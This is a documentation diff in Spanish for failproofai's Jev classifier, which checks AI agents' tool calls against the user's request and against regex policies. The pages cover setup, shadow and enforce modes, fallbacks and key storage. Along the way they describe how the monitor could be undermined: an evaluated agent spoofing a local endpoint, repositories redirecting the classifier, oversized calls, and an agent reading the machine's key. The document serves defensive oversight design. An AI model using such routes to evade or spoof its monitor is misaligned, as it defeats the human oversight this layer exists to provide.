+`--url` se valida exactamente igual que `baseUrl` en el archivo de configuración, y se rechaza con los mismos mensajes: `https`, o `http://localhost` simple solo en modo shadow.
+
+### La clave
+
+Pásala con `--key-stdin`, o ejecuta el comando en un terminal sin ese flag y pega la clave en el prompt enmascarado. En cualquier caso se guarda directamente en el archivo de configuración y nunca se muestra.
+
+
+
+ ```bash
+ failproofai jev --url https://api.typesafe.ai/v1 --key-stdin < ~/typesafe.key
+ ```
+
+
+ ```bash
+ failproofai jev --url https://openrouter.ai/api/v1 --key-stdin < ~/openrouter.key
+ ```
+
+
+ ```bash
+ failproofai jev --url https://ai-gateway.vercel.sh/typesafe/v1 \
+ --key-stdin < ~/vercel-gateway.key
+ ```
+
+
+ ```bash
+ failproofai jev --url https://api.cloudflare.com/client/v4 \
+ --account-id --key-stdin < ~/cloudflare.token
+ ```
+
+
+ ```bash
+ failproofai jev --url https://jev.internal.example.com/v1 --key-stdin < ~/jev.key
+ ```
+
+
+
+`failproofai jev setup` acepta los mismos flags y es la forma larga de todo esto: `setup --provider ` para cuando prefieres nombrar el proveedor en lugar de la URL.
+
+### `--token` y lo que cuesta
+
+`--token ` pone la clave en la línea de comandos, que es la forma más rápida de configurar una máquina y el único método que deja la clave en algún lugar fuera del archivo de configuración:
+
+```bash
+failproofai jev --url https://openrouter.ai/api/v1 --token
+```
+
+
+Un argumento en línea de comandos queda en el historial de tu shell, y mientras el comando se ejecuta está en la lista de procesos —legible desde `/proc` por cualquier proceso que se ejecute como tú. `setup` lo indica cada vez que se usa `--token`. Prefiere `--key-stdin` en una máquina compartida, en una sesión grabada o donde el historial se sincronice; rota una clave que hayas pasado de esta forma si es relevante.
+
+
+`--token`, `--key-stdin` y `--key-from-env` son mutuamente excluyentes: usa solo uno.
+
+Luego envía una pequeña petición real para verificar la clave, el endpoint y qué versión de Jev respondió:
+
+```bash
+failproofai jev test
+```
+
+```text
+ failproofai jev test ok · 523 ms
+
+ provider cloudflare
+ model asked typesafe/jev
+ answered by jev-1.13.0 (Jev 1.13 family — verified)
+ latency 523 ms — within the 3000 ms timeout
+```
+
+`jev test` sale con código 1, e indica el error en su título, cuando la respuesta llega tras el timeout (cada hook volvería a regex como `timeout`) o responde mal la pregunta de comprobación.
+
+Los hooks leen la configuración en cada llamada a herramienta, por lo que se aplica desde la siguiente. No hay nada que reiniciar, con o sin el demonio.
+
+## Comprueba qué está haciendo
+
+```bash
+failproofai jev status
+failproofai jev status --json
+```
+
+`status` muestra el proveedor, endpoint, modelo, modo, el archivo de configuración y sus permisos, y nunca la clave. Debajo resume la actividad reciente: cuántas llamadas evaluó Jev, con qué frecuencia recurrió a regex y por qué, su latencia, y qué políticas revisables autorizó.
+
+## Modo shadow
+
+`enforce` es el predeterminado. Para observar a Jev sin que cambie ninguna decisión, cambia a `shadow`: Jev sigue siendo consultado y sus veredictos se registran, pero el resultado de regex es lo que se aplica.
+
+```bash
+failproofai jev setup --mode shadow
+failproofai jev setup --mode enforce
+failproofai jev setup --mode off
+```
+
+`off` mantiene la configuración —el endpoint y la clave— y deja de consultar a Jev: los hooks ejecutan las políticas de regex exactamente igual que sin configuración, y `failproofai jev status` indica "off (switched off)". Vuelve atrás con `--mode shadow` o `--mode enforce`.
+
+Volver a ejecutar `setup` para el mismo proveedor conserva la clave almacenada, por lo que cambiar de modo requiere solo un flag. Cambiar de proveedor empieza de cero y pide la clave de ese proveedor. Lo mismo ocurre con un `--base-url` que mueve las peticiones a un host diferente: una clave almacenada solo se envía al host para el que fue proporcionada, o a la propia API de su proveedor.
+
+## El archivo de configuración
+
+Todo reside en un único archivo, `~/.failproofai/jev.json`, escrito por `setup`:
+
+```json
+{
+ "provider": "cloudflare",
+ "apiKey": "",
+ "accountId": "",
+ "mode": "enforce",
+ "timeoutMs": 3000
+}
+```
+
+| Campo | Significado |
+| --- | --- |
+| `provider` | `typesafe`, `openrouter`, `vercel`, `cloudflare` o `custom` — o `failproofai`, cuya clave proviene de la conexión de FailproofAI Cloud en lugar de este archivo (ver [Jev a través de FailproofAI Cloud](/es/policies/jev-cloud)). |
+| `apiKey` | Se envía como `Authorization: Bearer `. |
+| `baseUrl` | Obligatorio para `custom`; reemplaza la base de la API del proveedor en caso contrario. Debe ser `https`. `http` simple a `localhost` solo se acepta con `mode: shadow`: nada autentica un puerto local, así que mientras tu proxy está caído cualquier proceso en la máquina, incluido el agente que está siendo evaluado, podría responder en su lugar. |
+| `accountId` | Solo Cloudflare: 32 caracteres hexadecimales en minúscula. |
+| `model` | Reemplaza el id de modelo predeterminado del proveedor. Un id con versión debe nombrar Jev 1.13. Se rechaza un valor con forma de clave de API (y no se repite), por lo que una clave pegada en `--model` nunca se almacena ni se envía como modelo. |
+| `timeoutMs` | Tiempo que una llamada a herramienta espera a Jev antes de usar el resultado de regex. Entre 100 y 10000, predeterminado 3000. |
+| `mode` | `enforce` (predeterminado), `shadow`, u `off` (mantiene la configuración, no ejecuta Jev). |
+
+Tres reglas lo protegen:
+
+- **Solo el propietario.** Se escribe con permisos `0600`. Una copia que cualquier otro usuario o grupo pueda leer o escribir **se rechaza**, y los hooks recurren a regex hasta que ejecutes `chmod 600 ~/.failproofai/jev.json` o `setup` de nuevo. El directorio también se comprueba: `~/.failproofai` no debe ser **escribible** por nadie más, porque quien pueda escribir ahí puede reemplazar el archivo independientemente de sus propios permisos. `setup` elimina esos bits de escritura si los encuentra. `failproofai jev status` informa cuando se ha rechazado una configuración y muestra el endpoint que nombra el archivo: alguien más podría haberlo modificado, así que verifica que es tuyo antes de hacer `chmod`. Volver a ejecutar `setup` sobre ese archivo solo lleva su clave almacenada a la propia API del proveedor; cualquier otro endpoint que nombre necesita la clave de nuevo (`--key-stdin`), o `--base-url default` para enviar las peticiones de vuelta al proveedor.
+- **Solo global.** Un repositorio no puede activar Jev, apuntarlo a otro endpoint ni elegir su modelo: un `.failproofai/jev.json` dentro de un proyecto se ignora, y el proveedor, URL, modelo e id de cuenta se leen únicamente de ese archivo —nunca del entorno, que los ajustes del agente de un repositorio pueden establecer. (`FAILPROOFAI_HOME` no es una forma de evitar esto: mueve todo el directorio de failproofai, incluidas tus políticas, en lugar de redirigir solo Jev.)
+- **Solo la clave puede venir del entorno.** Si el archivo no tiene `apiKey`, `FAILPROOFAI_JEV_API_KEY` la proporciona para esa sesión (`setup --key-from-env` escribe ese archivo). Nunca reemplaza una clave que el archivo tenga, y no puede activar Jev sin el archivo. Cuando la variable no está definida, Jev simplemente está desactivado para ese shell: `failproofai jev status` lo indica, sale con código 0 y no toca la configuración (`status --json` reporta `"status": "key-missing"` con `"reason": "no-env-key"`). El demonio `failproofaid` no ve el entorno de tu shell, así que en una máquina configurada con `failproofai config`, mantén la clave en el archivo.
+
+## Qué versión de Jev responde
+
+Los umbrales de decisión de Failproof AI fueron calibrados con Jev 1.13, por lo que una respuesta solo se usa cuando proviene de esa familia: `jev-1.13.x`, o `typesafe/jev-1.13-` de OpenRouter. Cuando un proveedor nombra a Jev solo por un alias y no reporta versión (Vercel, y Cloudflare cuando no lo indica), la respuesta se usa y se registra como no verificada. Un endpoint `custom` debe reportar el modelo que respondió; la única excepción es un nombre `--model` sin versión que configuraste para él, que al ser devuelto se registra como no verificado del mismo modo. Una respuesta que reporta cualquier otra versión, o una respuesta de `custom` que no reporta ninguna, no se usa: esa llamada recurre a regex con la razón `model-mismatch`.
+
+## Cuando Jev no puede responder
+
+Cada uno de estos casos recurre al resultado de regex para esa llamada y se registra con su razón, que `failproofai jev status` totaliza:
+
+| Razón | Causa |
+| --- | --- |
+| `timeout` | Sin respuesta dentro de `timeoutMs`. |
+| `http-429` | El proveedor ha limitado la tasa de la clave. |
+| `rate-limited` | El propio limitador de Failproof AI retuvo la llamada antes de enviarla: 5 peticiones por segundo, en ráfagas de hasta 5, y ninguna por un momento tras recibir `429` del proveedor. No es el proveedor. |
+| `http-500`, `http-502`, `http-503`, … | Un error del servidor en el proveedor. El estado exacto queda registrado. |
+| `out-of-credits` | HTTP 402: la cuenta del proveedor no tiene créditos. |
+| `provider-refused` | HTTP 402 de Cloudflare con el mensaje "Model execution failed (Payment error)": el proveedor se negó a ejecutar el modelo en esta petición. Generalmente no es un problema de facturación, así que recargar créditos no lo resolverá. |
+| `http-401`, `http-403` | La clave fue rechazada. |
+| `http-404` | No hay nada en `/systemone`, por lo que la URL base es incorrecta —se añade `/systemone` a ella, y todos los proveedores la sirven en su raíz de versión. `failproofai jev models` muestra qué sirve el endpoint. |
+| `network` | No se pudo alcanzar el endpoint. |
+| `http-301`, `http-302`, `http-307`, `http-308` | El endpoint respondió con una redirección. Las redirecciones nunca se siguen, por lo que la respuesta solo llega desde la URL de tu configuración; establece `--base-url` en la URL final. |
+| `malformed` | El endpoint respondió, pero no con una respuesta de Jev —un cuerpo que no es JSON, o uno sin respuestas. |
+| `cloudflare-error`, `cloudflare-incomplete` | El envoltorio de Cloudflare reportó un fallo, o un trabajo que no había terminado. |
+| `model-mismatch` | Respondió una versión de Jev distinta de 1.13, o un endpoint `custom` no indicó qué modelo respondió. |
+| `request-cut` | **No es una interrupción.** Jev respondió; solo vio parte de la llamada, así que su respuesta no autorizó nada. Ver [Cuando Jev respondió pero no sobre la llamada completa](#cuando-jev-respondió-pero-no-sobre-la-llamada-completa). |
+
+`failproofai jev status` también puede mostrar algunas razones más raras, como `upstream-error` (la respuesta llevaba el propio error del proveedor) o `config`, y totaliza cualquier razón que no pueda nombrar como `other`.
+
+`request-cut` aparece en esta tabla porque `failproofai jev status` lo totaliza junto con los demás, y porque también deja todos los denys en pie. Es la única razón aquí que no dice nada sobre tu proveedor: la petición llegó y Jev la respondió. A diferencia de todas las filas anteriores, esa respuesta sigue contando —el propio deny o advertencia de Jev se aplica además del resultado de regex, en lugar de descartarse. Por tanto, una racha de ellos significa que las llamadas están llegando al evaluador demasiado grandes para enviarse completas, no que tu endpoint tenga problemas, y recargar créditos o cambiar la URL no moverá el contador.
+
+## Cuando Jev respondió pero no sobre la llamada completa
+
+Pueden ocurrir otras dos cosas que no significan que Jev haya fallado al responder. Ambas tienen que ver con cuánto de la llamada, o de la conversación, cabía en una sola petición.
+
+**Parte de la propia llamada no cabía.** Una llamada a herramienta se envía dentro de un presupuesto fijo, y una muy grande —un `Write` enorme, un cuerpo MCP gigante, un comando alargado hasta el límite— se envía con lo que cabía. Jev igualmente responde, y su respuesta igualmente cuenta: su propio deny o advertencia se aplica con normalidad. Lo que no puede hacer es **autorizar** nada, porque un veredicto dado sobre parte de una llamada no es un veredicto sobre la llamada. Así que todos los denys de las políticas se mantienen, y la llamada se registra como fallback con la razón `request-cut`, que `failproofai jev status` totaliza junto con las razones anteriores. La regla que se desprende: hacer una llamada más grande puede costarle sus autorizaciones, y nunca puede ganar ninguna.
+
+**Un mensaje no cabía.** Un prompt largo que pegaste, el último mensaje del agente, o un prompt que el propio almacén de este evaluador ya había truncado. **Nada cambia**: la llamada se evalúa, autoriza y registra exactamente igual que cualquier otra, y no se cuenta como fallback. La longitud de lo que escribes nunca determina un veredicto, y un truncamiento no puede fabricar consentimiento: cuando un prompt llegó ya truncado, "no pediste esto" deja de ser una conclusión que se pueda extraer, en lugar de convertirse en una.
+
+La línea entre ambos casos es quién escribió el texto. La llamada es del agente, y una regla que permitiera que su longitud redujera la severidad sería una regla que el agente podría aprovechar; tu prompt es tuyo, y tratar su longitud como señal solo penalizaría pegar una especificación o un stack trace.
+
+## Qué sale de la máquina
+
+Para cada llamada a herramienta que Jev evalúa, se envía una petición a tu proveedor con:
+
+- la propia llamada a herramienta, con secretos como claves de API, tokens bearer y asignaciones `KEY=` redactados;
+- los prompts recientes que escribiste, con el texto añadido por el harness de tu agente eliminado;
+- el último mensaje del agente antes de tu prompt más reciente, etiquetado como escrito por el agente;
+- datos calculados localmente, como si una ruta está dentro del proyecto —el que estaba activo en la sesión en su primera llamada revisada, [fijado para la sesión](/es/reference/jev-intent#the-project-root)— y la rama git actual.
+
+Solo va al endpoint de tu configuración, con tu clave.
+
+## Desactivarlo
+
+```bash
+failproofai jev remove
+```
+
+Esto elimina `~/.failproofai/jev.json`. A partir de la siguiente llamada a herramienta, los hooks ejecutan las políticas de regex exactamente como antes. Los almacenes por sesión en `~/.failproofai/state/semantic/` (prompts registrados en `sessions/`, raíces de proyecto en `roots/`) se dejan en su lugar y expiran con el tiempo. Para dejar de consultar a Jev pero mantener la configuración, usa `failproofai jev setup --mode off` en su lugar.
+
+## Referencia de comandos
+
+| Comando | Resultado |
+| --- | --- |
+| `failproofai jev --url --key-stdin` | Configúralo en un comando; el proveedor se deduce del host de la URL |
+| `failproofai jev --url --token ` | Lo mismo, con la clave en la línea de comandos —tu historial y la lista de procesos la verán |
+| `failproofai jev setup --provider --key-stdin` | Escribe la configuración desde una clave pasada por stdin |
+| `failproofai jev setup --provider ` | Lo mismo, pidiendo la clave en un prompt enmascarado |
+| `failproofai jev setup --key-from-env` | No almacena la clave; lee `FAILPROOFAI_JEV_API_KEY` por sesión |
+| `failproofai jev setup --mode shadow` | Cambia el modo (`enforce`, `shadow` u `off`), conservando la clave almacenada |
+| `failproofai jev setup --model ` / `--base-url ` | Anula el modelo o la base de la API; `default` elimina la anulación |
+| `failproofai jev setup --timeout-ms ` | Cambia el presupuesto por llamada |
+| `failproofai jev status [--json]` | Configuración, permisos y actividad reciente; nunca la clave |
+| `failproofai jev test [--json]` | Una petición real: latencia y la versión que respondió |
+| `failproofai jev models [--provider ] [--url ] [--json]` | Los ids de modelo que reporta `/models` del endpoint, marcando el configurado |
+| `failproofai jev remove` | Elimina la configuración; Jev queda desactivado |
\ No newline at end of file
diff --git a/docs/es/policies/jev-cloud.mdx b/docs/es/policies/jev-cloud.mdx
new file mode 100644
index 000000000..b477bd5e7
--- /dev/null
+++ b/docs/es/policies/jev-cloud.mdx
@@ -0,0 +1,117 @@
+---
+title: "Jev a través de FailproofAI Cloud"
+description: "Permite que Jev evalúe las llamadas a herramientas de tus agentes a través de FailproofAI Cloud, en el plan de tu organización, sin necesidad de cuenta ni clave propia de TypeSafe."
+icon: "cloud"
+---
+
+[Jev](/es/policies/jev-byok), el clasificador de TypeSafe, analiza cada llamada a herramienta en función de lo que realmente solicitaste y emite su veredicto junto a tus políticas, nunca en lugar de ellas. Con **FailproofAI Cloud**, una máquina conectada puede usar Jev con la misma clave con la que ya se conecta: sin cuenta de TypeSafe, sin segunda clave, sin endpoint que configurar. Cada llamada se descuenta de la cuota del plan existente de tu organización.
+
+Todo lo que hace Jev es idéntico a la [configuración con tu propia clave](/es/policies/jev-byok): las políticas estrictas siguen siendo definitivas, la denegación de una política revisable solo se elimina cuando Jev fue consultado exactamente sobre esa preocupación, y cualquier fallo cae de vuelta al resultado de la expresión regular para esa llamada.
+
+
+Requiere **failproofai 1.0.8-beta.0** o posterior. La versión 1.0.7 no incluye Jev, aunque aparezca por encima de las betas de 1.0.7 en el orden de versiones. Sin una configuración de Jev, nada cambia: los hooks ejecutan las políticas de expresiones regulares exactamente como siempre.
+
+
+## Activación
+
+1. **Crea una clave con Jev.** En el panel de FailproofAI Cloud, abre **Keys → Create key** y selecciona el preset **machine**. Este concede los tres permisos que necesita una máquina: `events:add` (enviar actividad), `policies:pull` (recibir políticas) y `jev:evaluate` (Jev, descontado de la cuota de tu organización). Una clave no puede tener `jev:evaluate` sin los otros dos.
+2. **Conecta la máquina** con esa clave:
+
+ ```bash
+ failproofai config --token
+ ```
+
+ Si tu organización ejecuta su propio FailproofAI Cloud en lugar del alojado, añade su dirección: `--url https://` (o exporta `FAILPROOFAI_CLOUD_URL`). Sin esto, la clave se verifica contra el servicio alojado y la conexión falla. Si el certificado de ese host proviene de una CA privada, instala la CA en el almacén de confianza del sistema de la máquina (por ejemplo, con `update-ca-certificates`), no solo en `NODE_EXTRA_CA_CERTS`: el demonio que envía eventos y obtiene políticas lee el almacén del sistema. Consulta [Solución de problemas](/es/reference/troubleshooting).
+
+Eso es todo. Al conectar se almacena la clave y, cuando la máquina **no** tiene aún ninguna configuración de Jev, activa Jev a través de FailproofAI Cloud en modo **shadow**: Jev es consultado para cada llamada a herramienta controlada y sus veredictos se registran, pero lo que se aplica es el resultado de tus políticas. La salida lo indica:
+
+```text
+ Jev on through FailproofAI Cloud, in shadow mode: logged, not enforced (~/.failproofai/jev.json).
+```
+
+**Con `--no-transcripts`, la conexión no activa Jev.** Jev envía cada llamada a herramienta verificada y el prompt reciente a FailproofAI Cloud, lo cual supone más información de la que enviaría una conexión que solo transmite decisiones. La clave se sigue almacenando, y la salida indica que Jev está disponible y cómo activarlo:
+
+```bash
+failproofai jev setup --provider failproofai
+```
+
+Tampoco **desactiva** Jev. Si el `jev.json` de la máquina ya ejecuta Jev a través de FailproofAI Cloud, se deja tal como está, y la salida indica que Jev sigue enviando cada llamada a herramienta verificada y el prompt reciente, y que `failproofai jev setup --mode off` lo desactiva.
+
+
+La conexión **nunca sobreescribe** un `~/.failproofai/jev.json` existente. Si ya usas tu propio endpoint de Jev, este sigue siendo utilizado, y la salida indica que el archivo se dejó según estaba configurado — y, cuando ese archivo deja Jev desactivado (rechazado o apagado), lo indica y explica cómo solucionarlo. Para cambiar esa máquina a FailproofAI Cloud, ejecuta `failproofai jev setup --provider failproofai`.
+
+
+## Shadow, enforce o desactivado
+
+Empieza en shadow, observa qué habría hecho Jev en la página de políticas, y luego permite que actúe:
+
+```bash
+failproofai jev setup --mode enforce # Los veredictos de Jev se aplican: puede eliminar una denegación revisable y añadir la suya
+failproofai jev setup --mode shadow # Jev es consultado y registrado; se aplica el resultado de tus políticas
+failproofai jev setup --mode off # mantiene la configuración, deja de consultar a Jev
+```
+
+El mismo interruptor está en el panel local: **Settings → Jev** tiene un interruptor de activación/desactivación y shadow/enforce. Reescribe el modo y nada más. Los hooks leen la configuración en cada llamada a herramienta, por lo que un cambio se aplica desde la siguiente, sin necesidad de reiniciar.
+
+## Verificar su funcionamiento
+
+```bash
+failproofai jev status
+failproofai jev test
+```
+
+`status` muestra el proveedor como **FailproofAI Cloud**, el host de Cloud al que se conectó la máquina, el modo y el origen de la clave como **FailproofAI Cloud connection**, nunca la clave en sí. Cuando hay un `jev.json` de FailproofAI Cloud pero Jev no puede ejecutarse, indica el motivo:
+
+| `status` indica | `status --json` | Significado |
+| --- | --- | --- |
+| **off — no Jev key is stored for this machine's FailproofAI Cloud connection** | `key-lacks-jev` | La máquina está conectada, pero no hay ninguna clave de Jev almacenada para ella: la clave carece de `jev:evaluate`, o la conexión no pudo confirmarlo. Ejecuta `failproofai config --token ` de nuevo con la misma clave; si le falta el permiso, usa una clave de tipo **machine**. |
+| **off — this machine is not connected to FailproofAI Cloud** | `not-connected` | No hay ninguna conexión de FailproofAI Cloud en esta máquina a la que pertenezca la clave de Jev. |
+
+Después de `failproofai config --disconnect` ya no existe ningún `jev.json` de FailproofAI Cloud (a menos que estuviera desactivado, en cuyo caso se conserva), por lo que `status` simplemente informa que Jev está desactivado. `status --json` contiene los mismos datos (`provider: "failproofai"`, `keySource: "cloud"`, `cloudConnected`, `keyCarriesJev`), también cuando la configuración está ausente o fue rechazada. `permissions` siempre corresponde al `jev.json`; un rechazo sobre `credentials.json` añade `credentialsPermissions`, y `fix` cuando un único comando lo soluciona. `test` envía una solicitud real y reporta su latencia y la versión de Jev que respondió. Sale con código 1, y así lo indica en su título, cuando la respuesta llega después del tiempo límite del hook (los hooks registrarían `timeout`) o responde incorrectamente a su pregunta de verificación.
+
+El panel **Settings → Jev** también muestra la **FailproofAI Cloud connection**: a qué organización reporta la máquina y si su clave incluye Jev. Se lee desde los propios archivos de la máquina, sin ninguna llamada de red.
+
+## Qué llega a la página de políticas
+
+La máquina ya envía su actividad de hooks a FailproofAI Cloud (`events:add`). Con Jev activado, el registro de cada llamada controlada también indica qué evaluador se ejecutó, qué decidió Jev, qué políticas eliminó, por qué recurrió al fallback cuando lo hizo, su latencia y el modelo que respondió — decisiones, códigos y nombres, nunca el comando ni tu prompt. En la página **Policies** de tu organización:
+
+- una llamada cuyo resultado fue decidido por el propio veredicto de Jev (modo enforce) se atribuye a **Jev**, y cuando la verificación determinante provino de un pack, el registro también nombra ese pack y su versión;
+- en modo shadow, la denegación o advertencia de Jev aparece como **would-have** (lo que habría hecho), junto a los rollouts que estás observando;
+- las políticas que Jev eliminó, o habría eliminado en modo shadow, se contabilizan por política.
+
+## Cuando Jev no puede responder
+
+Cada uno de estos casos recurre al resultado de tus políticas para esa llamada, y se registra con su motivo:
+
+| Motivo | Causa |
+| --- | --- |
+| `out-of-credits` | Tu organización ha agotado la cuota de su plan. |
+| `http-401`, `http-403` | La clave fue revocada, o no incluye `jev:evaluate`. Reconéctate con una clave que sí lo tenga. |
+| `http-429` | FailproofAI Cloud está aplicando límites de velocidad a Jev para tu organización. Hasta que expire el tiempo de espera indicado (`Retry-After`, máximo 60 segundos), la máquina no le envía nada y cada llamada recurre al fallback de inmediato. Las llamadas retenidas de esta forma se registran como `http-429`, o como `rate-limited` cuando el propio límite de velocidad de la máquina las retiene primero. |
+| `http-429` (límite diario) | Tu organización ha agotado sus llamadas diarias a Jev: **10 000 por día UTC**, a menos que quien opere tu FailproofAI Cloud haya establecido otro límite. Todas las llamadas recaen en el fallback hasta que el contador se reinicia a las 00:00 UTC; la máquina sigue intentándolo como máximo una vez por minuto, por lo que detecta el reinicio en menos de un minuto. `failproofai jev test` indica "Daily Jev limit for this org reached; resets at 00:00 UTC." |
+| `http-422` | Jev rechazó la solicitud de esta llamada, generalmente porque la llamada a herramienta contenía texto denso (base64, hex, código minificado) que superaba el presupuesto de tokens de Jev. Esa llamada siempre recurre al fallback; no es una interrupción del servicio. |
+| `http-502` | Jev no está disponible en este momento. |
+| `http-503` | Este Cloud no puede servir Jev para tu organización: sin gateway de modelo, una organización aún no aprovisionada, o el gateway está caído. Consulta a tu administrador; los hooks vuelven a intentarlo como máximo una vez por minuto. |
+| `http-404` | Este FailproofAI Cloud aún no sirve Jev. |
+| `timeout` | Sin respuesta dentro de `timeoutMs` (predeterminado: 3000). |
+| `model-mismatch` | Respondió una versión de Jev distinta a la 1.13. |
+
+## Dónde se almacena la clave y a dónde va
+
+- La clave se almacena una sola vez, en `~/.failproofai/credentials.json` (`0600`, en un directorio solo accesible por el propietario), junto a las demás credenciales de FailproofAI Cloud. Para esta ruta, `jev.json` no contiene ninguna clave; si se escribe una allí, la configuración queda inválida.
+- Si `credentials.json` tiene **cualquier** permiso para alguien que no seas tú (grupo u otros, lectura o escritura), o si su directorio puede ser **escrito** por alguien que no seas tú, el archivo es **rechazado**, no leído, y Jev permanece desactivado hasta que lo corrijas: `chmod 600` sobre el archivo, `chmod 700` sobre el directorio (o vuelve a conectar, lo que reescribe el archivo a `0600` y deja el directorio solo accesible por el propietario). Un directorio que otros solo pueden leer es aceptable; uno que pueden escribir les permite sustituir el archivo.
+- La clave solo cuenta mientras la conexión con la que llegó sigue en la máquina: una credencial de política o reporte para el mismo FailproofAI Cloud **con la misma clave**, en el mismo archivo. Una clave de Jev que quede sin ninguna credencial asociada es ignorada y Jev permanece desactivado. Esto ocurre cuando un `config --disconnect` de una versión anterior de failproofai deja la clave de Jev en su lugar (no sabe que debe eliminarla), o cuando un `config --token` de una versión anterior conecta con otra clave, que en FailproofAI Cloud puede pertenecer a otra organización. Para reactivar Jev, conéctate de nuevo con una clave de tipo **machine**.
+- La clave solo se envía al origen de Cloud contra el que fue verificada. Un `jev.json` que apunte a cualquier otro lugar es rechazado.
+- **Un agente en la máquina puede leerla.** `credentials.json` solo es accesible por el propietario, y el agente se ejecuta como ese propietario. Leer los propios archivos de failproofai está permitido intencionalmente (solo está bloqueada su modificación, mediante `block-failproofai-commands`), por lo que lo único que hay entre un agente y este archivo es `block-read-outside-cwd` — una política *revisable* — y, en una sesión iniciada en tu directorio home, nada. Una clave con `jev:evaluate` consume la cuota de Jev de tu organización (hasta el límite diario) desde donde sea que se use, así que trata una clave de máquina como cualquier otra credencial de gasto: si un agente puede haberla leído, desactívala en la página de Keys y conéctate de nuevo con una nueva.
+- Solo tus archivos globales determinan esto. Un repositorio no puede activar Cloud Jev, apuntarlo a otro lugar ni proporcionar su clave, y `FAILPROOFAI_JEV_API_KEY` se ignora para esta ruta.
+- Por cada llamada que evalúa Jev, se envía una solicitud a FailproofAI Cloud con el contenido que lista la [página de bring-your-own-key](/es/policies/jev-byok#what-leaves-the-machine) (secretos redactados). FailproofAI Cloud la reenvía a TypeSafe y no la registra ni la conserva.
+
+## Desactivación
+
+| Comando | Resultado |
+| --- | --- |
+| `failproofai jev setup --mode off` | Conserva la configuración; Jev no es consultado. **Este es el interruptor que persiste:** conectar de nuevo nunca sobreescribe un `jev.json` existente, por lo que Jev permanece desactivado hasta que lo reactives con `--mode shadow`. |
+| `failproofai jev remove` | Elimina `~/.failproofai/jev.json`; Jev está desactivado — hasta el próximo `failproofai config --token` con una clave que incluya `jev:evaluate`, que al no encontrar ningún `jev.json` activa Jev de nuevo en modo shadow (a menos que se ejecute con `--no-transcripts`). Para mantenerlo desactivado, usa `--mode off`. |
+| `failproofai config --disconnect` | Desconecta la máquina: la clave se elimina, y también el `jev.json` cuando nombra a FailproofAI Cloud y no está desactivado. Un `jev.json` para tu propio endpoint se conserva, al igual que uno que esté desactivado, por lo que Jev permanece desactivado cuando vuelvas a conectar. |
+
+A partir de la siguiente llamada a herramienta, los hooks ejecutan las políticas de expresiones regulares exactamente como antes.
\ No newline at end of file
diff --git a/docs/es/policies/jev.mdx b/docs/es/policies/jev.mdx
new file mode 100644
index 000000000..54c4edd25
--- /dev/null
+++ b/docs/es/policies/jev.mdx
@@ -0,0 +1,45 @@
+---
+title: "Políticas de Jev"
+description: "Añade la revisión en tiempo real de Jev a las llamadas de herramientas supervisadas, e inspecciónala antes de aplicar sus decisiones."
+icon: "shield-check"
+---
+
+Jev analiza una llamada de herramienta en relación con lo que la persona le pidió al agente que hiciera. Úsalo cuando una política basada en coincidencia de cadenas bloquee trabajo válido o pase por alto una acción riesgosa que requiere contexto. Responde junto a tus políticas en la puerta `PreToolUse` o `PermissionRequest`. Para una puntuación **después** de que termine una sesión, usa las [evaluaciones de Jev](/es/evaluations/jev).
+
+## Comienza en modo observación
+
+Instala Failproof AI y conecta hooks a un [harness compatible](/es/reference/harnesses). Usa failproofai 1.0.8-beta.0 o posterior.
+
+Failproof AI no incluye verificaciones de Jev. Instálalas como un paquete; de lo contrario, Jev no tiene nada que consultar y nunca se invoca:
+
+```bash
+failproofai policies add FailproofAI/jev-policies
+```
+
+Luego elige cómo llegan las solicitudes a Jev:
+
+| Ruta | Primer paso |
+| --- | --- |
+| FailproofAI Cloud | Conéctate con una clave de **máquina** que tenga `jev:evaluate`. En una máquina sin configuración de Jev, `failproofai config` activa Jev en modo observación. |
+| Tu propio proveedor | En el panel local, abre **Settings → Jev**, elige el proveedor, pega su token y selecciona **observe**. O ejecuta `failproofai jev --url https://api.typesafe.ai/v1 --mode observe --key-stdin < ~/typesafe.key`. |
+
+
+
+```bash
+failproofai jev status
+failproofai jev test
+```
+
+`test` verifica el endpoint. Para comprobar la ruta del hook, pídele a un agente con hooks que use su herramienta de lectura de archivos en `README.md`. Confirma que esa llamada de herramienta aparece en la sesión, luego revisa **Policies → Activity** en el [panel local](/es/reference/local-dashboard#review-policy-activity). El contador de Jev en `status` debería aumentar. El modo observación registra lo que Jev habría decidido mientras el resultado de tu política existente sigue aplicándose.
+
+## Decide cuándo aplicar enforcement
+
+Una política **hard** siempre tiene la última palabra. Jev solo puede anular un deny de una política explícitamente marcada como **reviewable**, y únicamente cuando haya verificado la preocupación nombrada de esa política. Consulta [autoridad de políticas](/es/policies/authority) antes de confiar en una aprobación de Jev. Jev también puede advertir o denegar por cuenta propia. Si no puede responder, el resultado de la política decide esa llamada.
+
+Una vez que los resultados en modo observación se vean correctos, cambia al modo enforce en **Settings → Jev** o ejecuta:
+
+```bash
+failproofai jev setup --mode enforce
+```
+
+Para URLs de proveedor, claves de Cloud, configuración, fallbacks y los datos enviados con cada solicitud, consulta la [referencia de integración de Jev](/es/reference/jev).
\ No newline at end of file
diff --git a/docs/es/reference/custom-agents-typescript.mdx b/docs/es/reference/custom-agents-typescript.mdx
new file mode 100644
index 000000000..0677e12d8
--- /dev/null
+++ b/docs/es/reference/custom-agents-typescript.mdx
@@ -0,0 +1,401 @@
+---
+title: "Agentes personalizados (TypeScript)"
+description: "Configuración, el catálogo de eventos, los alcances y los adaptadores de framework para @failproofai/sdk."
+icon: "square-js"
+---
+
+Lo que hace cada configuración, método y campo del SDK de TypeScript. Si estás instrumentando por primera vez, comienza con la guía — esta página es para consultas de referencia.
+
+
+
+ Instalación, instrumentación, los métodos de evento, un ejemplo completo y problemas comunes.
+
+
+ Los mismos eventos, el mismo formato de transferencia, el mismo spool — desde Python.
+
+
+
+Node 20.9 o posterior. ESM y CommonJS. Sin dependencias en tiempo de ejecución.
+
+
+ Este SDK y el de Python escriben **los mismos eventos en el mismo spool**. Una flota con agentes Node y agentes Python produce un único conjunto de sesiones, no dos, y nada en el panel los distingue. Elige por servicio, no por empresa.
+
+
+## Instalación
+
+```bash
+npm install @failproofai/sdk
+```
+
+```ts
+import * as failproofai from "@failproofai/sdk";
+
+await failproofai.agent("planner", { goal: question }, async () => {
+ const hits = await failproofai.toolCall("web_search", { input: { q } }, () => search(q));
+});
+```
+
+Los adaptadores de framework se incluyen en el propio paquete. Los frameworks son **dependencias de pares opcionales** — declaradas para que los rangos compatibles sean visibles, nunca instaladas en tu nombre, e importadas solo cuando llamas a `instrument()`.
+
+## Conectar el daemon de Failproof
+
